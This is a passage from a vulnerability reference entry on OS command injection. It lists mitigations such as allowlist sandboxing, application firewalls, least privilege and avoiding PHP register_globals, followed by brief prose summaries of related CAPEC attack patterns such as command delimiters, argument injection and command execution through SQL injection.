- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.